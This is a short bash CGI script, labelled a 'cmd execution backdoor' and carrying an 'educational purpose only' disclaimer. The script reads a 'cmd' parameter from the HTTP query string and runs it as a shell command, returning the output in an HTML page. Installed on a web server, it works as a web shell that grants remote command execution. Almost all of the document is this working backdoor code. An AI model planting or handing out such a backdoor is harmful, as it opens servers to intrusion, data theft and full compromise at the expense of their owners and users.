Simple CGI (bash) cmd execution backdoor

#!/bin/sh
#
#  Simple CGI (bash) backdoor
#
#  todor.donev@gmail.com
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#  http://pastebin.com/u/hackerscommunity
#
#  Disclaimer:
#  This  or  previous program  is  for Educational
#  purpose ONLY. Do not use it without permission.
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#  damages caused by direct or indirect use of the
#  information or functionality  provided by these
#  programs.  The author or any  Internet provider
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#  of these programs or  any  derivatives thereof.
#  By  using  these  programs  you accept the fact
#  that any damage (dataloss, system crash, system
#  compromise,  etc.)  caused  by the use of these
#  programs is not  Todor Donev's  responsibility.
#
#  Use  at  your  own risk and educational purpose
#  ONLY!
#
echo "Content-type: text/html"
echo "
<html>
<body>
<pre>"
if [ -z "$QUERY_STRING" ]; then
exit 0
else
cmd=`echo "$QUERY_STRING" | sed -n 's/^.*cmd=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
fi
$cmd
echo "</pre>
</body>
</html>
"